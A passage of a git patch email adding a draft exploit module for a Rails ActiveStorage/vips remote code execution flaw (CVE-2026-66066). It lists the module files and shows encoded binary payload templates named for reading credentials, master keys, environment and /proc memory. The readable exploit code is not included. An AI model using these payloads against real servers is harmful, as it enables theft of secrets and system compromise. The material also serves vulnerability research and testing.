From 368f87820680cd79c1096089baad46d09b651f44 Mon Sep 17 00:00:00 2001 From: Jonah Burgess <12751872+Crypto-Cat@users.noreply.github.com> Date: Thu, 30 Jul 2026 21:17:43 +0100 Subject: [PATCH 1/9] Added initial draft module for CVE-2026-66066 (KindaRails2Shell) --- data/exploits/CVE-2026-66066/blocked_16.mat | Bin 0 -> 40376 bytes data/exploits/CVE-2026-66066/blocked_32.mat | Bin 0 -> 78776 bytes data/exploits/CVE-2026-66066/blocked_4.mat | Bin 0 -> 11576 bytes data/exploits/CVE-2026-66066/blocked_8.mat | Bin 0 -> 21176 bytes data/exploits/CVE-2026-66066/credentials.mat | Bin 0 -> 2000 bytes .../credentials_development.mat | Bin 0 -> 2008 bytes .../credentials_development_key.mat | Bin 0 -> 2008 bytes .../CVE-2026-66066/credentials_production.mat | Bin 0 -> 2008 bytes .../credentials_production_key.mat | Bin 0 -> 2008 bytes .../CVE-2026-66066/credentials_staging.mat | Bin 0 -> 2008 bytes .../credentials_staging_key.mat | Bin 0 -> 2000 bytes .../CVE-2026-66066/credentials_test.mat | Bin 0 -> 2000 bytes .../CVE-2026-66066/credentials_test_key.mat | Bin 0 -> 2000 bytes data/exploits/CVE-2026-66066/environment.mat | Bin 0 -> 1976 bytes data/exploits/CVE-2026-66066/local_secret.mat | Bin 0 -> 1992 bytes data/exploits/CVE-2026-66066/master_key.mat | Bin 0 -> 1992 bytes data/exploits/CVE-2026-66066/proc_maps.mat | Bin 0 -> 1968 bytes .../exploits/CVE-2026-66066/proc_mem_1024.mat | Bin 0 -> 1968 bytes data/exploits/CVE-2026-66066/proc_mem_128.mat | Bin 0 -> 1968 bytes .../exploits/CVE-2026-66066/proc_mem_2048.mat | Bin 0 -> 1968 bytes data/exploits/CVE-2026-66066/proc_mem_256.mat | Bin 0 -> 1968 bytes data/exploits/CVE-2026-66066/proc_mem_512.mat | Bin 0 -> 1968 bytes data/exploits/CVE-2026-66066/proc_mem_64.mat | Bin 0 -> 1968 bytes data/exploits/CVE-2026-66066/proc_smaps.mat | Bin 0 -> 1976 bytes data/exploits/CVE-2026-66066/proc_version.mat | Bin 0 -> 1968 bytes .../http/rails_activestorage_vips_rce.md | 233 +++ .../source/exploits/CVE-2026-66066/README.md | 19 + .../CVE-2026-66066/generate_msf_templates.py | 177 +++ .../http/rails_activestorage_vips_rce.rb | 1313 +++++++++++++++++ 29 files changed, 1742 insertions(+) create mode 100644 data/exploits/CVE-2026-66066/blocked_16.mat create mode 100644 data/exploits/CVE-2026-66066/blocked_32.mat create mode 100644 data/exploits/CVE-2026-66066/blocked_4.mat create mode 100644 data/exploits/CVE-2026-66066/blocked_8.mat create mode 100644 data/exploits/CVE-2026-66066/credentials.mat create mode 100644 data/exploits/CVE-2026-66066/credentials_development.mat create mode 100644 data/exploits/CVE-2026-66066/credentials_development_key.mat create mode 100644 data/exploits/CVE-2026-66066/credentials_production.mat create mode 100644 data/exploits/CVE-2026-66066/credentials_production_key.mat create mode 100644 data/exploits/CVE-2026-66066/credentials_staging.mat create mode 100644 data/exploits/CVE-2026-66066/credentials_staging_key.mat create mode 100644 data/exploits/CVE-2026-66066/credentials_test.mat create mode 100644 data/exploits/CVE-2026-66066/credentials_test_key.mat create mode 100644 data/exploits/CVE-2026-66066/environment.mat create mode 100644 data/exploits/CVE-2026-66066/local_secret.mat create mode 100644 data/exploits/CVE-2026-66066/master_key.mat create mode 100644 data/exploits/CVE-2026-66066/proc_maps.mat create mode 100644 data/exploits/CVE-2026-66066/proc_mem_1024.mat create mode 100644 data/exploits/CVE-2026-66066/proc_mem_128.mat create mode 100644 data/exploits/CVE-2026-66066/proc_mem_2048.mat create mode 100644 data/exploits/CVE-2026-66066/proc_mem_256.mat create mode 100644 data/exploits/CVE-2026-66066/proc_mem_512.mat create mode 100644 data/exploits/CVE-2026-66066/proc_mem_64.mat create mode 100644 data/exploits/CVE-2026-66066/proc_smaps.mat create mode 100644 data/exploits/CVE-2026-66066/proc_version.mat create mode 100644 documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md create mode 100644 external/source/exploits/CVE-2026-66066/README.md create mode 100755 external/source/exploits/CVE-2026-66066/generate_msf_templates.py create mode 100644 modules/exploits/multi/http/rails_activestorage_vips_rce.rb diff --git a/data/exploits/CVE-2026-66066/blocked_16.mat b/data/exploits/CVE-2026-66066/blocked_16.mat new file mode 100644 index 0000000000000000000000000000000000000000..6b7b60f75ff38f65bd72ff5201f24e49872d0b32 GIT binary patch literal 40376 zcmeI*OORsa8OHI`J?b3C8O4|jF*jl|3Aw0v8O7YB&CCQ7TZuDC$hGN=9qFX)p}IR$ zELoBrODa{VV#$&vOO`BIvSi7UCA--4cMh*ZJ^xBsm8vZAw&n2k4|t^i9!9OQirt;N z@9eylyYWIHchEdLI62-wdj9n6{>lD_2f3YlXNM0Ca(9w%ckkTJ{a3%D?YDO$|N5U6 z_(%EX?Q2(_y>js);y8LF%7oXm9d7=ed=3Bg@b}@nD5@ogt>m_y-1d{_Z$+y=q9~jA z)5-qksECB$n>w5-X>3r8vhKZI0e7`zba6^wNqLBz}4iZPOqnNa-F3y4vrrj zp4>nF=-~M5g3{}W*j5AH8~Q>689`czjm8ct&{M#qm@8lKy>YH^P(B-O3{mkGy!Ye|U7d_u#N` zx|jZgWv{V+R^MwJ?cY17-#_}`;AF4x(#x;BdgHa%i*KmYYSDMRk6%9zzeD_ep?oxG2#V&;9Ug*tg3RmIHvSPOOXKB|hD_pui0g0V?6*KQ+E!4^Ts48aO$6Bb9_fb{MypOd|C-0-Gn0X&-p-$dMRWb8E)s&eN+`Q?_(|0 z$@{1(X5PnIsFU|mRm{APwNNMTqpFyBA8Vmb-bYn2^FG!>oxG2#V&;9Ug*tg3RmIHv zSPOOXKB|hD_pui0g0V?6*KQ+E!4^Ts48aO$6Bb9 z_fb{MypOd|C-0-Gn0X&-p-$dMRWV!jxg2$_uRfb_^=D_RvsFkwpK$Z@L)V{QxO&nj zzEbag!dA!BXW;qt0m=R8w~h3$;Y09f<8v+3hn2xQ;8XD2rH6ljbiWQh0AGTaHa-tB z-EV_Wz_aNGYi@L_f%m}|;Kj#uhZgu4Jaakhq(5hRTLtfd&%q1Hg`4iCw@vU7c>K72 zofYsd_zXNBK1q1}K1p9^1AGV`J)vJ`8N35N16DVbMV5`dcO%i0*^nVcPijr@ELgi8NJ^C zAA(1p)jMVI4)_#2_qnj2{`Q?-S9S0K_!7MIdA;8TpMYn-pm%EEeeeZ%G5H|r%?>T_ zF?i;S`gK;pd*E~M!n1n62|fakzod66;9c+;c>c>_KmEsfdR;ZZhv3my^iCPP13m@M zeO2$*!3W?=@Y2`xej9uOp3Ui<8h9Uk0bcyN-fw}A!86b4oho<_d=6gtM%YjPHEt_> z8#Td4;PE&0P6fORJ_FBR*ZU3dA$asHy;BD7fKS15-`4we@B#P|yp-4bZSVfET|T_8$v3>wj-;fses6-_tu)@E-UayzqU!-vl3l$It7X3V0WM2A+RG?>E4Q z;L(eErwrZ!pMvKKdcO`n0AGTaUJCn{!_E4-YJ*R}voGtN8h9Uk0bYDX@3+9m;F(wT zP8GZdJ_j${(ECmB5qSKX-l>3h!Drz4*Y$n_d~HSW z!3W?=@X`HQY?7(DZ1y;BA6fzQDUKhgV5@DX_YrrxO} z{&={1eO-0IXW;o#7}(rtfDgf=9lcWq?|@Iib8qSWI`{y5310fC-fx3Xz_T~?P7S;d zz5p-Y()%s&F?i;--l-;jCEUHfu6p2e@WRi+z~)X9d;}hs^-cx63qAwSzpeKh;6w1} z=X$3M-T|M2=YFC0>)-?MC3xu_z263(fM<90PA%~#!rklZst>*ZFTNWFHg{U!WAMy- zdZ!BB1D}HzDtf;OJ_3(_sdp;iUGN!r{(ZgQ03U)!cl1sfyaPT3&)wDg^~A4+yVuv% z0DK8v`c)X%+-ZYPz_Y*BJ2mh=_yWB68@=BGAA@JAdZ!BB1D}HzeyjJJ;3M$(cY3D+ z-UXk5=YOyF8;M^FcdxIjA$atM@W9Q-m%%&WQ}Em$^?n_E0KNn-{Yme)!6)F^J-t%{ z?}IPEi#5I90w05C_VrE`yazr9FZ@~WHxqv{+`Yc8M&R+i@W9Q-SHQdAGw}QedcOfa z1dk5%P8qxdJ_XPHMeo^J|Rz{kX9RTKaK literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/blocked_32.mat b/data/exploits/CVE-2026-66066/blocked_32.mat new file mode 100644 index 0000000000000000000000000000000000000000..e95b11e9a9ebc321adf5a69a4cb28514e3cc1f21 GIT binary patch literal 78776 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/blocked_8.mat b/data/exploits/CVE-2026-66066/blocked_8.mat new file mode 100644 index 0000000000000000000000000000000000000000..af8f78640bd80863e0fd4d9a4bcd672415473f63 GIT binary patch literal 21176 zcmeI4J#1Q67={ma65pnAOOpQ3^zZhc{v^5iaYCgIxQZhx)eVX>umN&WvEBh*&$jHdZ$jHdZ$jHdnayj?-tI_)^id3mXzl(g&cOUM3IXpfGu%*N9_KTmlfAqKR z1b(GntDGE_4{x8=j!(+JRs8M!+QC`H--{1-_n!Ly>Soq{+BLfUrw0DaJ$br$_14v8 zCp^zwGD+K?HQW3ZZ~f;NkL{5$rMO7MZ8L7W@%0H4-Hb`a{Cb?fdftoYJ3D4^rh7cs z#+RA!nXNnrwEbTh$n9+BqbFR5pS2rL!+4xI8I_~6gOlT<-z!J8C3533>rQyZHetNw z__e!egr;ronoYJx#$1kbSC7{h<2^bvnpO4+JAyCAxoc}SC>hU-_765_e8aY0Jag6) zZbl649r6B}36@pDY%UT#v%7pfFYX_fPfw#eZY~})>YIIRWBxces%4f}*z1<%E9~6w zA!kF*bMu!jhTJ_V9~_<*&kn-VqI+X0hUHqd7#^1QE7jw}Un?iY;NJZQ54RpY&U}xm zC{c6NkB*;PK9lO8p=!!qktrK$ZGIR)nb^ae*rJgRBTsKjH#a>IYd7rhdc)s?-m%B24{=3sk8e zWJQ?z5f`XZKgfzO^&>7&rGAhVVd_U*pi2E9E5g)|xImTqK~{vRA8~;y^@FSkQ$OMY zRq6*>5vG2`1*+5!vLa0VhznGyA7n+C`VkkXQa{LwF!duYP^Es56=CW}T%bz*AS=Su zkGMdU`axENsULBHD)ob`2#fq|n9+@B&0_R3T-<_qeW6`F8J%G_x2|!yIMl&K>v;Pg zEGiwJ5T14?#P_?y&=o7ZPq#6D&alC=Y(fh)^oc2CgCH( zQ*L4GinkKsUBYLCXRcrm4Z??nCpT=4d!DW>5Z)ntN_Y?tT$k(GI^hGtz1MI*^Mtnv zpAeq5-vn?zPh3Ak!uy1q*Kt2{gtrJE6YgKb`BlPugwF}jZsPnV;UmIRZ`d3+jh)XD z;a$RKglFEw`3=H{geRi~>Wgi)p9R7@gii?%uH*bV;RC|GcwPKzKl6mQ37-(2zKQ!8 z65c1=yoGaegtrJE6Yjrl^WDq08&_4rdxXyk&%T56n}m-DPrZwCN`!X_pAnvkzX)R0 zLxb=k;mP-KKMRC+2%i!j+`{>F!Uu$V@8g_2;cdbvgr`5S`R?u9jjNFGKH=s=oRcHG zMfjL-|0A4VCA>%Yobc?&IKN5wi13t;b4rAF37-+3`2^=T2pgqtsMPLA*v;bX%6uW){q@E+lF!n0|d z-z0oQcAz(H#Yx@ZO%WpHV7XQp8OW)6bSDSJ|#T(4(Hbi9}w={#yNSy z+k{UDPv61$A>n<(&0U<6BfLfUm~cP9`BlPugwF}j-n01|wmBbHO~OZnr|#pN65(CK zXM|@S;QR*RL&B2}aZZ8o4&hV6gDsq2CwxG-_Xy|Y32zfVAw2yU=ZA#%2{##>v-iuh WC($?J#ed$L)&Jwzt91V|1AhZThQSX2 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/credentials.mat b/data/exploits/CVE-2026-66066/credentials.mat new file mode 100644 index 0000000000000000000000000000000000000000..ce669bd614541cf81a66ed4a238aa5bb29ba511c GIT binary patch literal 2000 zcmeHH!AiqG5S^qg4aI`uMLgx`#ikd*qmi~$Fj{O6-ZX5tC6I0;iB6{p8VndR|R`k^S3x%7vmM#G-} zs{-yt1Y7yj3@rPdUbAu7u#50KsKPF;$3^%cd9Q!fQ3JTAjzhR0e5H5?%m;8l<9o!v z?l-#Wc0qgce2f$Ziz@a!9@yf)%0Ryx4$OvcY1dp&Z&YWT45{Wxo~fBsr5)nBJY$Cq z(Sf?HUu;Z;9wD!b%*<~rM%ML;u6HwLZWY?Ff@|Pe-F1);qIc1}e_# zrl3WWXxV|bMF*OCCJ!R}&fkeNE(&AV*UmMK9P^l{^3+CfX07tA;d4OWRs4X~%K^bd yo{6B4=_C+O<3MC;l1u}U%dtM0BubMK!c1G-Bm^JNpJP)d{jq7m{-bvo-Uv<;~Zm8oBJ`%oAyaVO~*dzN6 z@vn{>U-o*SNAi4(6b8>#?0Ib1;J?bipcf9!hOcPXTu-l5XPgYFmPwwexm2Y!ab0$J zz?$el-PSKQra}*p*F|RLHy$IadPUc}v6)+iKCIvxcvg2^B&us(ESQ0c z^LbOyqe--ELEEAOO+Awbk$vZ{MH&}{aqQ~BHH{o|o2c^GMsQ}W@~z=>=#YowhqPV} z2o`xJf;7ti^8zMpji1yZ_-h2!n#YgaM zbbn?J)_7=Q;z5?Mv-7*Nv)`=mP0zd&`>5yI?6G1+7N&<~l^5Zh*Hz)Jhi3d~1)j%)QMa?-kx5t+K(u@!Anc6ED|*IUsYf{^d{oKS9of|(;MQ9iovovDe~-&Wt9{WF8gG# zA=SW?_*IiY=z)r>tH>08g>lz;gX3MuL{}-DLU0=_$?LibWb(K|uYL{OAMn27Hey)V zQHDmHvXXL|w!oE34Z7Uc0$;xK*HIdlrBLkhjoO^5oB-~VtU8t+R9VS2(DGZ*g*zqIV{V)517R7Wxm9sn)|hZAm3e?CAWWYi48ao3N_WWn7Lvf-%j z{^|hhG=$Cg(+WHfdi_>&zp0aO9H_yz$;UF}1IK&gD{nY}8(c7?Pe@hY?;4A!U!qXe#jEcd|{gv%}& ztVtO(G=9yb5PD$ZS|&2ZuQ2W^Z%e!@nd&N|GYGDOqj}3Rff_Qd(wmn-=Lfu3(nbvj zJIZF%DV3Jfv;`f#WYChf4utxizmC(WD3oGXZd8}l*HqkkBQA7Si z%$FRz`#g)if~Qk2ewcW1CZ@^Ei*r7aCzC{Jp$sN-`G?6w`<5@sZ*+dqQ#S_nxoeYV IL)WRmC-*3CtN;K2 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/credentials_staging.mat b/data/exploits/CVE-2026-66066/credentials_staging.mat new file mode 100644 index 0000000000000000000000000000000000000000..b6b737b8119b00ef2fc024116fe69ee6cb7b4d77 GIT binary patch literal 2008 zcmeHH!AiqG5S^qg4aI`uMLgx`#ikd*V9{C5It}pK^S*SSMFRQ$W6X}PdN*B@}lNybO z{;vwSClRdWPc!gz+#j}EyDhs2&x1N_;(AJP1c-!moDr8;_A?y{7Bk*vzd$A69S!Jgd7d5;Zli@#F76_s4o?7R*4+ z`MfFU(Ii?npli{Aww}p@$iDMeB8$t?IJWiRhDMILO;vShBRI2G`PT3`^vJ{UBU z1UE%4f>LI)K-^6Ok*isn1fq~reKKjBl|fm>Nve|0!#wLqB`9!wcHTEH2H$hP#*AxR GB?BLHDs966 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/credentials_staging_key.mat b/data/exploits/CVE-2026-66066/credentials_staging_key.mat new file mode 100644 index 0000000000000000000000000000000000000000..76b08d6da46e6a9ea806754514442d663e3caf6c GIT binary patch literal 2000 zcmeHHu};H440V!LjVdaESP)Z27Md^*~wje$2@Y7B!r?tXT7Zm4QJo80rIG(y6(gUa8JF8A8s|BA2&9Rz}5jdBg@Q zatj)!esRzhx`((nA~XJ+aF=CA)w|Z|uEI5};5xWQwrvDzC|tdczXhEi>V2+kG`ZAK zj>VlaH+mj6pkt;Mw3Mw2p?T-8;w&mly|Aq|sw<8$0onWZ3h6 zRlvPSU@L!`fn~qjYqt(tW)YqTb=bxAxCkFs-kV=_)Bx^n$FaDu_-f-F&>z5o9pAJ3 z>wcq~I0ofO^AXxGSk$rS(ZCk}RR;QTG|(HqwY#Qzdb4##$>3t1m4%pbAMO{bHjl^ay!fWF~%X(Xy`BRK4pleXG!h72E*N=&p-IO~tG2_&d<~vEGRVGf;C@ zHw7(%zH)9Tq?pG{$Ws$RnKjC{hRy+fSMdY8UJ3{w z%7TRz&nF>!8i%Y9lWZEYl8@ENWNBW7l2U$ literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/credentials_test_key.mat b/data/exploits/CVE-2026-66066/credentials_test_key.mat new file mode 100644 index 0000000000000000000000000000000000000000..98edbc27f5222b0a1644e194f5913da23421c6bb GIT binary patch literal 2000 zcmeHHu};H440Y00jVdaESP)Z27Md(bj0Ck+kqA_@0~Ndev9x| z?Zy|q9woto?EmFkR>A+mW=Rsz}SK%5~a0478+cp9<6|P>#-va-KdS56TO%8Qb z&Eig37(EXg;G3xhZDs2~Xx{m&IE~6uFKnxg8j52~0QX5I4~++B)(GDQz6Z4Z^dC~Z z?BLxMdF+)UoqF-Z#EbK6n#{bo5EFGXNtBkJ6s7Fkh$r+Iot<~}OTqo^))=Yc>tx^q D+8k{S literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/environment.mat b/data/exploits/CVE-2026-66066/environment.mat new file mode 100644 index 0000000000000000000000000000000000000000..40ae0ede926c6fc43f3f5094522209323d59d5bd GIT binary patch literal 1976 zcmeHH%}T>S5S}D0U5W+8i+I|j7fmjLMPXylDul1Y%N>SbPM16Cc4x@U3)r zXGXB%p&)oL8?xWd@6OK7Y#h$d!V`IT5J>gds=7>z{idzz^iIhzYxAX&36XI!k-s{? zJ&mCof0}{k>3A|4?hb7bLO>5TF&-D;oyP0nD~%Mu4J{nPC&Cx9cffoAJH+22|EqfQ z%P0b^$@?*q87z9Z63poEUu9q#g)?*DD>^mT(;L+pCqtFXyspZ7RkoJJb$QGRYoY@K zTfaD&3f)7$E_!DF+%~JUrv-**x(a1j!F>>xc3pHd(0+{^e+Pn}>YdtCP)B*rXQzmL6MlxK0K>0B^El00000 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/local_secret.mat b/data/exploits/CVE-2026-66066/local_secret.mat new file mode 100644 index 0000000000000000000000000000000000000000..9bbee844c2769b68d7a1ce96025644fbcbe595a1 GIT binary patch literal 1992 zcmeHHPfNov6n||uR)zz`i+IY>i|a0eM=RTyV0G9Xyv{Q0SgE2+?xhG*HJM8hlNiN)@v9Bo zvj{frPc!f`==NL9{ia=n??Vl?aXl`=8?|NQvy2kJ4GkQ^XTn#CcffoAd!*kX{;z(c zt6mSZC(p-7VenMLkmfRan7w@U85+NYv20#*V)OouBF*Npv)3z;ixs z3R!UeE$G;R11;_ALuB9iahfGnWemI8yRMOg9wxauwh^3JD}3wt9FTn#Kcw|?Krkzd sG^k{D7o?B3ftt>OtVok=T*S5S}D04aI`uMLg}%i%liV6>PXylIHr5^NJmVzsv%^-X+~zLoCo z%pg`g6a)`;L-yPG-Py^^Ch$k+{;4=>cZ7T{Wu8XU!=lXcXd;Clm&sg;kjNnHi(egJ zp9QcPf0}{ULAT#(?l(;kt_wBT#&~RmcN)vaR~jjRTUuCzFNAMoZ-IUQ_K3ej{#W%z zSG^u6P2P`@%%G~_%4Nm||5XMCJ%6YVd`+k3dRkJQaWZ5&Px36C$+R>quFDfvSQ9O1 znEJ&@SLgxywb3*CugLEz?WlU!Jl$0&!wRm0YiQd>M-Amy%kj0K^FzH?N=FZuI?A!Q zQ!2yfX$v}LX+cZrx)7Lq{wAJAMWF?|YNNVBj0xZ|Ny}qn!I?G0w~4<4djGT^QoL;7 uJ>*&J6>>WE;-@<=&eCx*@n%t>{xR))xnRBU;VxAwjOL3_z7I`(QLw8$$*Qgv9|97^O#42za%$5=9PejVCm8Urhr76k%1kYejx-Xg=#>|WrCUvvmXb|3{3AJm7rV&(E&-p ztPC7rJ`)qfAaY3gh{!2WEnxTYFc^SoMh0G>O&koq;Br1b zIVZ8W7$hMKw1^c*L)^r`P@0)nVgc3x3t2D+gMh^YOchLj0J7ykUHSz@`N{glsX1x- bxrqhE48eZ>E})VCmVXtPF^nD+AR+_+??PZ^ literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/proc_mem_1024.mat b/data/exploits/CVE-2026-66066/proc_mem_1024.mat new file mode 100644 index 0000000000000000000000000000000000000000..63609e175f8935f0ddb7f32f19ca3b67e25e9d1a GIT binary patch literal 1968 zcmeHH%}T>S5S}D03B`iqMLg}%izXMrqmiamFj`Cx-ZX?&1No6879T<1#G{YlTj}o3 z3}TC*Ab7A7vR`I)W_EY-&Bo#EBs>!Pdx4M-oouSK*loMINpGYGvo4=Yk&qfEWAUp3 z_Hhg=`O^wKO-AG4V0&OT;d#)5b=;4Q@J90De%4U~xS|h>@R9JD;w{h*z!upzDF340 z>^zDKC+EaHGMj(Ux;2GVvF_EkC>Un%E2)^Vy_NPZ3S5S}D0U5W+8i+I|j7fmjL$3&V^!Dul(c+(J84dh3XSUh^PZ{pF%@U3)z zW(1WU3W5hSA^Yv@&dg3G-)t1jPlIEAc;IpI*owML^8Kc*>f~1NAZ@dS;4!LEJmJ48 zV4p4JGxyb6OEJWGrCE}$|25X`P z1I=GED2DEtxVDM>gz;9PBl)f@RaY4g!{9zJt=qN~!CzIiS1R`K1JMp77dlw*B% zimx|t*Z@z@EEq{!29dt!uhKke8nv-459&)aIRQLmWqYJOsIpr5G0=Y?EApRVzU1KE d*H!8^BENA9Q2@ke=VNsfQ2%m=EIVAM0w4PRVq^dS literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/proc_mem_2048.mat b/data/exploits/CVE-2026-66066/proc_mem_2048.mat new file mode 100644 index 0000000000000000000000000000000000000000..4a731746557ce5c05155e9a2fac22479a449edc9 GIT binary patch literal 1968 zcmeHH%}T>S5S~q15{d=Ii+IY>izXMrVPXylDul2J$0GEIxw1iANv9x6<96 z8APRrg5be!$bLIJ-^^|%-)$L@7%2?ydN^`#RuIRx7rZabF?(Jmyt*WIVXCM)=Y3Ij|M`Pbpt^@E@8w^IKWm Y`lT!ZlJkp^ehK*gdNy0Gag_>u07oHT>Hq)$ literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/proc_mem_512.mat b/data/exploits/CVE-2026-66066/proc_mem_512.mat new file mode 100644 index 0000000000000000000000000000000000000000..9dde8115e9754b03935ede651764ec0138c90eb3 GIT binary patch literal 1968 zcmeZu4DoSvQZUssP)MyPNiE7t%+W0_$uCMwPgQVCF3BuQRS1T1eS_T;s0tXEJbf8P z!GMN9r-zFhFP9V-*by8Y3@i)+5ce=asQ*x~fgP0(;W02IKpBisx&unDfa+&t06_)@ z38=Ur)O>VxAwjOL3_z7I`(QLw8$$*Qgv9|97^O#42za%$5=9PejVCm8Urhr76k%1kYejx-Xg=#>|WrCUvvmXb|3{3AJm7rV&(E&-p ztPC7rJ`)qfAaY3gh{!2WEnxTYFc^SoMh0G>O&koq;Br1b zIVZ8W7$hMKw1^c*L)^r`P@0)nVgc3x3t2D+gMh^YOchLj0J7ykUHSz@`N{glsX1x- bxv9Af48eZ>E})VCmVXtPF^nD+AR+_+TvK24 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/proc_mem_64.mat b/data/exploits/CVE-2026-66066/proc_mem_64.mat new file mode 100644 index 0000000000000000000000000000000000000000..636e5dc44adb279f36cc5f3dc4259f06867aa61a GIT binary patch literal 1968 zcmeHH%}T>S5S~q1vJ?x77xA=5FPdBgk4BnO!Dul(c+(J84dh3XSbPM1lOBBx-%9sq 